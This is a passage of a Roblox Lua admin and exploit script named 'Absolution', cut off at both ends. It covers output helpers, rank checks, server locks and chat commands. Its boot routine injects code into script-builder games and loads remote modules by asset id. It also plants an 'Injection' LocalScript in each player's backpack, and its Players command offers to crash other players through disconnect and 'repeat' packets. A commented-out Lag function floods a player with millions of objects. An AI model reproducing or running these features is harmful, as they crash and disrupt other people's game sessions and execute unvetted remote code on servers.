  2462. end)
  2463. end
  2464. end
  2465. end
  2466. Absolution.Functions.sbChat = function(self,msg,plr,fn)
  2467. msg = msg:gsub("","")
  2468. if not type(msg)=='string'then return end
  2469. msg=(msg and msg or '')
  2470. if plr then
  2471. if type(plr)=='userdata'then
  2472. local data = Instance.new('StringValue',plr)
  2473. data.Name = 'SB_Chat'
  2474. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  2475. elseif type(plr)=='string'then
  2476. plr = game:GetService('Players'):FindFirstChild(plr)
  2477. local data = Instance.new('StringValue',plr)
  2478. data.Name = 'SB_Chat'
  2479. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  2480. end
  2481. else
  2482. for i,v in pairs(game:GetService('Players'):children())do
  2483. local data = Instance.new('StringValue',v)
  2484. data.Name = 'SB_Chat'
  2485. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  2486. end
  2487. end
  2488. end
  2489. Absolution.Functions.sbOutput = function(msg, typ, plr)
  2490. if not type(msg)=='string'then return end
  2491. msg=(msg and msg or 'nil')
  2492. typ=(typ and typ or 'Print')
  2493. if plr then
  2494.  
  2495. --[[if type(plr)=='userdata'then
  2496. local data = Instance.new('StringValue',plr)
  2497. data.Name = 'SB_Output:Output'
  2498. data.Value = '["'..typ..'","'..msg..'"]'
  2499. Absolution.Functions.Out(plr, msg, 5)
  2500. elseif type(plr)=='string'then
  2501. plr = game:GetService('Players'):FindFirstChild(plr)
  2502. local data = Instance.new('StringValue',plr)
  2503. data.Name = 'SB_Output:Output'
  2504. data.Value = '["'..typ..'","'..msg..'"]'
  2505. end--]]
  2506. Absolution.Functions.Out(plr, msg, 5)
  2507. else
  2508. Absolution.Functions.Out('All', msg, 5)
  2509. --[[for i,v in pairs(game:GetService('Players'):children())do
  2510.  
  2511. local data = Instance.new('StringValue',v)
  2512. data.Name = 'SB_Output:Output'
  2513. data.Value = '["'..typ..'","'..msg..'"]'
  2514. end--]]
  2515. end
  2516. print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
  2517. end
  2518.  
  2519. Absolution.Functions.osbOutput = function(msg, typ, plr)
  2520. if not type(msg)=='string'then return end
  2521. msg=(msg and msg or 'nil')
  2522. typ=(typ and typ or 'Print')
  2523. if plr then
  2524. if type(plr)=='userdata'then
  2525. local data = Instance.new('StringValue',plr)
  2526. data.Name = 'SB_Output:Output'
  2527. data.Value = '["'..typ..'","'..msg..'"]'
  2528. Absolution.Functions.Out(plr, msg, 5)
  2529. elseif type(plr)=='string'then
  2530. plr = game:GetService('Players'):FindFirstChild(plr)
  2531. local data = Instance.new('StringValue',plr)
  2532. data.Name = 'SB_Output:Output'
  2533. data.Value = '["'..typ..'","'..msg..'"]'
  2534. end
  2535. else
  2536. for i,v in pairs(game:GetService('Players'):children())do
  2537. local data = Instance.new('StringValue',v)
  2538. data.Name = 'SB_Output:Output'
  2539. data.Value = '["'..typ..'","'..msg..'"]'
  2540. end
  2541. end
  2542. print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
  2543. end
  2544.  
  2545. Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image)
  2546. local index = tonumber(#Absolution.Tablets)+1
  2547. Absolution.Tablets[index] = {Func=Function}
  2548. Absolution.Handler:sendPacket(Player, 'Tablets', {Msg=Msg, Color=Color, Time=Time, Image=Image, Index=index});
  2549. end
  2550.  
  2551. Absolution.Functions.SendGui = function(Player, Message, Type)
  2552. if not Type then local Type = 1 end
  2553. if not Message then local Message = 'undefined' end
  2554. Absolution.Handler:sendPacket(Player, 'Output', {Message, Type})
  2555. end
  2556.  
  2557. Absolution.Functions.Out = function(Player, Message, Type)
  2558. local tab;
  2559. if type(Player) == "userdata" then
  2560. local thread = coroutine.create(function()
  2561. tab = Absolution.Functions.SendGui(Player, Message, Type)
  2562. end)
  2563. coroutine.resume(thread)
  2564. elseif type(Player) == "table" then
  2565. for _,v in pairs(Player) do
  2566. local thread = coroutine.create(function()
  2567. tab = Absolution.Functions.SendGui(v, Message, Type)
  2568. end)
  2569. coroutine.resume(thread)
  2570. end
  2571. elseif type(Player) == "string" then
  2572. if Player:lower() == "all" then
  2573. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2574. local thread = coroutine.create(function()
  2575. tab = Absolution.Functions.SendGui(v, Message, Type)
  2576. end)
  2577. coroutine.resume(thread)
  2578. end
  2579. elseif Player:lower() == "admins" then
  2580. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2581. if Absolution.Functions:findRank(v) >= 1 then
  2582. local thread = coroutine.create(function()
  2583. tab = Absolution.Functions.SendGui(v, Message, Type)
  2584. end)
  2585. coroutine.resume(thread)
  2586. end
  2587. end
  2588. end
  2589. end
  2590. return tab
  2591. end
  2592.  
  2593. Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image)
  2594. local tab;
  2595. if type(Player) == "userdata" then
  2596. local thread = coroutine.create(function()
  2597. tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image)
  2598. end)
  2599. coroutine.resume(thread)
  2600. elseif type(Player) == "table" then
  2601. for _,v in pairs(Player) do
  2602. local thread = coroutine.create(function()
  2603. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  2604. end)
  2605. coroutine.resume(thread)
  2606. end
  2607. elseif type(Player) == "string" then
  2608. if Player:lower() == "all" then
  2609. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2610. local thread = coroutine.create(function()
  2611. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  2612. end)
  2613. coroutine.resume(thread)
  2614. end
  2615. elseif Player:lower() == "admins" then
  2616. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2617. if Absolution.Functions:findRank(v) >= 1 then
  2618. local thread = coroutine.create(function()
  2619. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  2620. end)
  2621. coroutine.resume(thread)
  2622. end
  2623. end
  2624. end
  2625. end
  2626. return tab
  2627. end
  2628.  
  2629. -- IRCCommandHandler --
  2630. Absolution.Functions.IRCCommandParser = function()
  2631.  
  2632. end
  2633.  
  2634. -- Locking Scripts --
  2635. Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object)
  2636. if not Absolution then return end
  2637. if Absolution.Locks.Server.Server == true then
  2638. if Object.className == "Script" then
  2639. local ObjectName = Object.Name
  2640. Object.Disabled = true
  2641. Object:Destroy()
  2642. end
  2643. end
  2644. end)
  2645. Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object)
  2646. if not Absolution then return end
  2647. if Absolution.Locks.Server.Local == true then
  2648. if Object.className == "BaseScript" then
  2649. local ObjectName = Object.Name
  2650. repeat Object.Disabled = true until Object:Destroy()
  2651. end
  2652. end
  2653. end)
  2654.  
  2655.  
  2656. -- Replicators --
  2657. Absolution.Functions.GetReplicators=function(clear)
  2658. local rep={};
  2659. for _,v in next,game:service'NetworkServer':children()do
  2660. if(v:isA'ServerReplicator')then
  2661. table.insert(rep,v);
  2662. else
  2663. if(clear)then
  2664. pcall(function()v:Destroy()end);
  2665. end;
  2666. end;
  2667. end;
  2668. return rep;
  2669. end;
  2670.  
  2671.  
  2672. -- Startup --
  2673. Absolution.Functions.Boot = function()
  2674. if Absolution.Booted then error'script already loaded...' return end
  2675. Absolution.Booted = true
  2676. local function bootMod(Mod, Msg, ...)
  2677. local start_boot = tick()
  2678. Absolution.Functions.osbOutput(Msg..'...', 'Run')
  2679. local args = {...}
  2680. local Success, Error = ypcall(Mod)
  2681. local end_boot = tick()
  2682. if Success then
  2683. Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
  2684. else
  2685. Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
  2686. end
  2687. end
  2688.  
  2689. bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
  2690. bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks')
  2691. bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
  2692. bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua')
  2693. bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync')
  2694. if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord')
  2695. --[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]]
  2696. end
  2697. bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.') end if Absolution.Functions:findRank(p.Name) >= 4 then Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
  2698. bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection')
  2699. bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection')
  2700. bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut() end end, 'onClose Connection')
  2701. bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module')
  2702. --bootMod(Absolution.PluginManager.Launch, 'Loading plugins')
  2703. if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
  2704. --bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE')
  2705. bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players')
  2706. Absolution.Functions.osbOutput('Absolution Loaded!','Note')
  2707. end
  2708.  
  2709. -- Cleaning And Stuff :) --
  2710. Absolution.Functions.CreateBase = function()
  2711. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  2712. if v.Name:lower():find('base') and v:IsA('BasePart') then
  2713. v:remove()
  2714. end
  2715. end
  2716. local Base = Instance.new("Part")
  2717. Base.BrickColor = BrickColor.new("Dark green")
  2718. Base.CFrame = CFrame.new(0, 0.6, 0)
  2719. Base.Transparency = 0
  2720. Base.Elasticity = 0.5
  2721. --Base.FormFactor = "Custom"
  2722. Base.Material = 'Grass'
  2723. Base.CanCollide = true
  2724. Base.Friction = 0.30000001192093
  2725. Base.Size = Vector3.new(2044, 0, 2044)
  2726. Base.Archivable = true
  2727. Base.Material = "Grass"
  2728. Base.RotVelocity = Vector3.new(0, 0, 0)
  2729. Base.Reflectance = 0
  2730. Base.Locked = true
  2731. Base.Anchored = true
  2732. Base.Name = "Base"
  2733. Base.TopSurface = "Smooth"
  2734. Base.BottomSurface = "Inlet"
  2735. Base.Shape = "Block"
  2736. Base.Parent = Absolution.Services.Workspace.Terrain
  2737. end
  2738.  
  2739. Absolution.Functions.CleanWorkspace = function()
  2740. for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do
  2741. if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then
  2742. if s.className ~= "Terrain" then
  2743. if s.className ~= "Camera" then
  2744. pcall(function() s:Destroy() end)
  2745. end
  2746. end
  2747. end
  2748. end
  2749. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  2750. if v:IsA("Terrain") then
  2751. v:Clear()
  2752. end
  2753. end
  2754. for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do
  2755. pcall(function()
  2756. v:Destroy''
  2757. end)
  2758. end
  2759. Absolution.Functions.CreateBase()
  2760. end
  2761. Absolution.Functions.FullClean = function()
  2762. local Child = {}
  2763. local GetAllChildren = function(c)
  2764. for _,v in pairs(c:GetChildren()) do
  2765. ypcall(function()
  2766. GetAllChildren(v)
  2767. table.insert(Child, v)
  2768. end)
  2769. end
  2770. end
  2771. for _,v in pairs(Absolution.Services.Game:GetChildren()) do
  2772. ypcall(function()
  2773. GetAllChildren(v)
  2774. end)
  2775. end
  2776. for _,v in pairs(Child) do
  2777. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  2778. v:remove()
  2779. end
  2780. end
  2781. Absolution.Functions.CleanWorkspace()
  2782. Absolution.Functions.Debug()
  2783. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2784. v:LoadCharacter()
  2785. end
  2786. end
  2787. Absolution.Functions.Debug = function()
  2788. ypcall(function()
  2789. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  2790. if v:IsA('Message') or v:IsA('Hint') then
  2791. ypcall(function()
  2792. v.Text = ''
  2793. v:Destroy()
  2794. end)
  2795. end
  2796. if v:IsA('Terrain') then
  2797. v:Clear()
  2798. end
  2799. end
  2800. Absolution.Services.Lighting.GlobalShadows = true
  2801. Absolution.Services.Lighting.TimeOfDay = '14:00:00'
  2802. Absolution.Services.Lighting.Brightness = 0.3
  2803. Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
  2804. Absolution.Services.Lighting.Ambient = Color3.new(1,1,1)
  2805. Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  2806. Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  2807. Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
  2808. Absolution.Services.Lighting.FogStart = 0
  2809. Absolution.Services.Lighting.FogEnd = 100000
  2810. Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  2811. Absolution.Services.Lighting:ClearAllChildren()
  2812. Absolution.Services.Teams:ClearAllChildren()
  2813. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  2814. v.Neutral = true
  2815. end
  2816. end)
  2817. end
  2818.  
  2819. -- Status Announce --
  2820. Absolution.Functions.Announce = function(msg,fs)
  2821. Absolution.Functions.Out('All', msg, 5)
  2822. --Absolution.DCTAPI.sendMessage('Announce: '..msg)
  2823. if fs == true then
  2824. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  2825. if v:findFirstChild("PlayerGui") then
  2826. local sg = Instance.new("ScreenGui", v.PlayerGui)
  2827. sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999)
  2828. local fr = Instance.new("Frame", sg)
  2829. fr.Name = "Main"
  2830. fr.Size = UDim2.new(0, 0, 0, 0)
  2831. fr.Position = UDim2.new(0, 0, 0, 0)
  2832. fr.BackgroundTransparency = 0.7
  2833. fr.BackgroundColor3 = Color3.new(-1,-1,-1)
  2834. fr.BorderColor3 = Color3.new(1,1,1)
  2835. local tl = Instance.new("TextLabel", fr)
  2836. tl.Size = UDim2.new(1, 0, 1, 0)
  2837. tl.BackgroundTransparency = 1
  2838. tl.TextColor3 = Color3.new(1,1,1)
  2839. tl.FontSize = "Size24"
  2840. tl.Font = 'SourceSansLight'
  2841. tl.Text = string.gsub(msg, "", "")
  2842. tl.Name = "Text"
  2843. tl.TextTransparency = 0
  2844. pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
  2845. fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
  2846. coroutine.resume(coroutine.create(function()
  2847. wait(8)
  2848. fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
  2849. tl:remove()
  2850. end))
  2851. end
  2852. end
  2853. else
  2854. local sg
  2855. local function GetNumAlerts(Par)
  2856. local Num = 0
  2857. if Par == nil then return 0 end
  2858. for i, Obj in pairs(Par:GetChildren()) do
  2859. if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
  2860. Num = Num + 1
  2861. end
  2862. end
  2863. return Num
  2864. end
  2865. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  2866. if v:findFirstChild("PlayerGui") then
  2867. sg = Instance.new("ScreenGui", v.PlayerGui)
  2868. sg.Name = "Absolution ScreenGui Hint "..math.random(999999)
  2869. local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
  2870. local fr = Instance.new("Frame", sg)
  2871. fr.Name = "Main"
  2872. fr.Size = UDim2.new(1, 0, 0.025, 0)
  2873. fr.Position = UDim2.new(-1, 0, num, 0)
  2874. fr.BackgroundTransparency = 0.5
  2875. fr.BackgroundColor3 = Color3.new(1, 1, 1)
  2876. fr.BorderColor3 = Color3.new(0, 0, 0)
  2877. local tl = Instance.new("TextLabel", fr)
  2878. tl.Size = UDim2.new(1, 0, 1, 0)
  2879. tl.BackgroundTransparency = 1
  2880. tl.TextColor3 = Color3.new(-1,-1,-1)
  2881. tl.Font = "SourceSansLight"
  2882. tl.FontSize = "Size18"
  2883. tl.Text = string.gsub(msg, "", "")
  2884. tl.Name = "Text"
  2885. tl.TextTransparency = 0
  2886. pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
  2887. fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5)
  2888. coroutine.resume(coroutine.create(function()
  2889. wait(8)
  2890. pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end)
  2891. tl:remove()
  2892. end))
  2893. end
  2894. end
  2895. end
  2896. end
  2897.  
  2898. -- deprecated
  2899. --[[
  2900. -- Lag --
  2901. Absolution.Functions.Lag = function(plr)
  2902. if not plr then return error'no player defined' end
  2903. for i = 1,2800000 do
  2904. Instance.new('Message',plr)
  2905. end
  2906. end
  2907. --]]
  2908.  
  2909. -- Blacklist --
  2910. Absolution.Functions.checkBlackList = function(Plr)
  2911. for i,v in pairs(Absolution.injectBlacklist) do
  2912. if v.ID==Plr.userId then
  2913. return true,v
  2914. end
  2915. return false,{}
  2916. end
  2917. end
  2918.  
  2919. -- GroupRank --
  2920. Absolution.Functions.calculateRankInGroup = function(playerObj)
  2921. local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID)
  2922.  
  2923. local matchTable = Absolution.GroupData.GroupRanks
  2924.  
  2925. for defrank, groupranks in pairs(matchTable) do
  2926.  
  2927. for nildata, rank in pairs(groupranks) do
  2928.  
  2929. if groupRank==rank and defrank>0 then
  2930.  
  2931. return defrank
  2932.  
  2933. end
  2934. end
  2935.  
  2936. end
  2937.  
  2938. return -1
  2939. end
  2940.  
  2941. -- ConnectPlayer --
  2942. Absolution.Functions.ConnectPlayer = function(self, Player)
  2943. local playerName = Player.Name
  2944. if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end
  2945. local playerData = Absolution.Functions.getRankedTable(playerName)
  2946. if not playerData.Bet then playerData.Bet = '/' end
  2947. local blackList,blTable = Absolution.Functions.checkBlackList(Player)
  2948. if blackList and game.PlaceId ~= 20279777 then
  2949. return
  2950. end
  2951. local cRank = Absolution.Functions.calculateRankInGroup(Player)
  2952.  
  2953. local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
  2954.  
  2955. Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))
  2956.  
  2957. Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')
  2958.  
  2959. if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
  2960.  
  2961. if game.PlaceId ~= 21053279 then
  2962. --game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)
  2963. end
  2964. Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q)
  2965. Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object)
  2966. if Absolution.Locks.Server.Local == true then
  2967. if playerData.Rank >= 2 then return end
  2968. if Object:IsA("BaseScript") then
  2969. local ObjectName = Object.Name
  2970. repeat Object.Disabled = true wait() until Object:Destroy()
  2971. end
  2972. end
  2973. end)
  2974. end)
  2975. if not Player.Character then Player.Character = Instance.new'Model' end
  2976. Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object)
  2977. if Absolution.Locks.Server.Local == true then
  2978. if playerData.Rank >= 2 then return end
  2979. if Object:IsA("BaseScript") then
  2980. local ObjectName = Object.Name
  2981. repeat Object.Disabled = true wait() until Object:Destroy()
  2982. end
  2983. end
  2984. end)
  2985. Player.ChildAdded:connect(function(a)
  2986. if a:IsA('StringValue') then
  2987. for i,v in pairs(Absolution.Nicknames) do
  2988. if a.Value:find(i) then
  2989. a.Value = a.Value:gsub(i, v)
  2990. end
  2991. end
  2992. end
  2993. end)
  2994. if Player.AccountAge < 30 then
  2995. if Absolution.Functions:findRank(Player) < 0.5 then
  2996. Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days")
  2997. Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
  2998. end
  2999. end
  3000. if Absolution.PrivateServer.Enabled then
  3001. if Absolution.Functions:findRank(Player) < 0.5 then
  3002. Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.")
  3003. Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
  3004. end
  3005. end
  3006. if Absolution.PrivateServer.GroupLock then
  3007. if not Player:IsInGroup(Absolution.GroupData.GroupID) then
  3008. Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
  3009. Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
  3010. end
  3011. end
  3012. if Absolution.Locks.Server.Locked then
  3013. if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then
  3014. Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
  3015. Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
  3016. end
  3017. end
  3018. end
  3019.  
  3020. -- Commands --
  3021. -- Rank 0 --
  3022. Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
  3023. if Absolution.Functions.GetSplit(Msg) == "n" then
  3024. Absolution.Functions.Dismiss(Speaker)
  3025. local Number_Of_Nils = 0
  3026. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  3027. if v.Parent ~= Absolution.Services.Players then
  3028. Number_Of_Nils = Number_Of_Nils + 1
  3029. Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function()
  3030. Absolution.Functions.Dismiss(Speaker)
  3031. local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
  3032. coroutine.resume(coroutine.create(function()
  3033. wait(0.5)
  3034. if dc then
  3035. Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
  3036. else
  3037. Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
  3038. end
  3039. end))
  3040. end)
  3041. end
  3042. end
  3043. if Number_Of_Nils == 0 then
  3044. return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
  3045. end
  3046. Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
  3047. Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function()
  3048. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  3049. if v.Parent ~= Absolution.Services.Players then
  3050. local x = Instance.new("Model", Absolution.Services.Workspace)
  3051. local y = Instance.new("Part", x)
  3052. y.Transparency = 1
  3053. y.CanCollide = false
  3054. y.Anchored = true
  3055. y.Name = "Torso"
  3056. y.Position = Vector3.new(10000,10000,10000)
  3057. local z = Instance.new("Humanoid",x)
  3058. z.Torso = y
  3059. v.Character = x
  3060. Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
  3061. end
  3062. end
  3063. end)
  3064. Absolution.Functions.Output(Speaker, "Dismiss")
  3065. else
  3066. Absolution.Functions.ShowPlayers(Speaker)
  3067. end
  3068. Absolution.Functions.Out(Speaker, 'Got Players.', 5)
  3069. end)
  3070. Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
  3071. if Absolution.Functions.GetSplit(Msg) == "a" then
  3072. Absolution.Functions.Dismiss(Speaker)
  3073. Msg = Msg:gsub("-a", "")
  3074. for i = 1, 6 do
  3075. Absolution.Functions.Output(Speaker, "AFK")
  3076. end
  3077. Absolution.Functions.Output(Speaker, "Dismiss")
  3078. elseif Absolution.Functions.GetSplit(Msg) == "s" then
  3079. Msg = Msg:gsub("-s", "")
  3080. local Split = Msg:find('/')
  3081. local Message = Msg:sub(1, Split - 1)
  3082. local Amount = Msg:sub(Split + 1)
  3083. if tonumber(Amount) > 20 then
  3084. Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red")
  3085. Amount = 0
  3086. end
  3087. Absolution.Functions.Dismiss(Speaker)
  3088. for i = 1, Amount do
  3089. Absolution.Functions.Output(Speaker, Message, "Random")
  3090. end
  3091. else
  3092. if #Msg == 0 then Msg = "Pong!" end
  3093. Msg = string.gsub(Msg, "", "")
  3094. Absolution.Functions.Output(Speaker, Msg, "Random")
  3095. Absolution.Functions.Out(Speaker, Msg, 1)
  3096. end
  3097. end)
  3098. Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
  3099. if Absolution.Functions.GetSplit(Msg) == "p" then
  3100. if Absolution.Functions:findRank(Speaker) >= 4 then
  3101. Msg = Msg:gsub("-p", "")
  3102. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3103. if #Players > 0 then
  3104. for _,v in pairs(Players) do
  3105. ypcall(function()
  3106. Absolution.Functions.Dismiss(v)
  3107. Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5)
  3108. end)
  3109. end
  3110. end
  3111. else
  3112. Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4)
  3113. end
  3114. else
  3115. Absolution.Functions.Dismiss(Speaker)
  3116. Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5)
  3117. end
  3118. end)
  3119. Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
  3120. if Msg:lower()=='off' then
  3121. Absolution.Functions.SetIgnore(Speaker.Name)
  3122. elseif Msg:lower()=='on' then
  3123. Absolution.Functions.StopIgnore(Speaker.Name)
  3124. end
  3125. Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5)
  3126. end)
  3127. Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
  3128. local Split = Msg:find("/")
  3129. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3130. local Message = Msg:sub(Split + 1)
  3131. if #Player > 0 then
  3132. for _,v in pairs(Player) do
  3133. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then
  3134. Absolution.Functions.onChatted(v, Message)
  3135. end
  3136. end
  3137. end
  3138. end)
  3139. Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
  3140. Absolution.Functions.Dismiss(Speaker)
  3141. if #Msg == 0 then
  3142. Absolution.Functions.GetRankedInterface(Speaker)
  3143. else
  3144. Msg = Msg:lower()
  3145. if #Msg < 3 then
  3146. Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red')
  3147. return
  3148. end
  3149. local Number = 0
  3150. local Table = {}
  3151. for i,v in pairs(Absolution.Ranked) do
  3152. if i:lower():find(Msg) then
  3153. ypcall(function()
  3154. table.insert(Table, i)
  3155. Number = Number + 1
  3156. end)
  3157. end
  3158. end
  3159. if Number > 1 then
  3160. for _,v in pairs(Table) do
  3161. Absolution.Functions.Output(Speaker, v, nil, function()
  3162. Absolution.Functions.GetRankedInterface(Speaker, v)
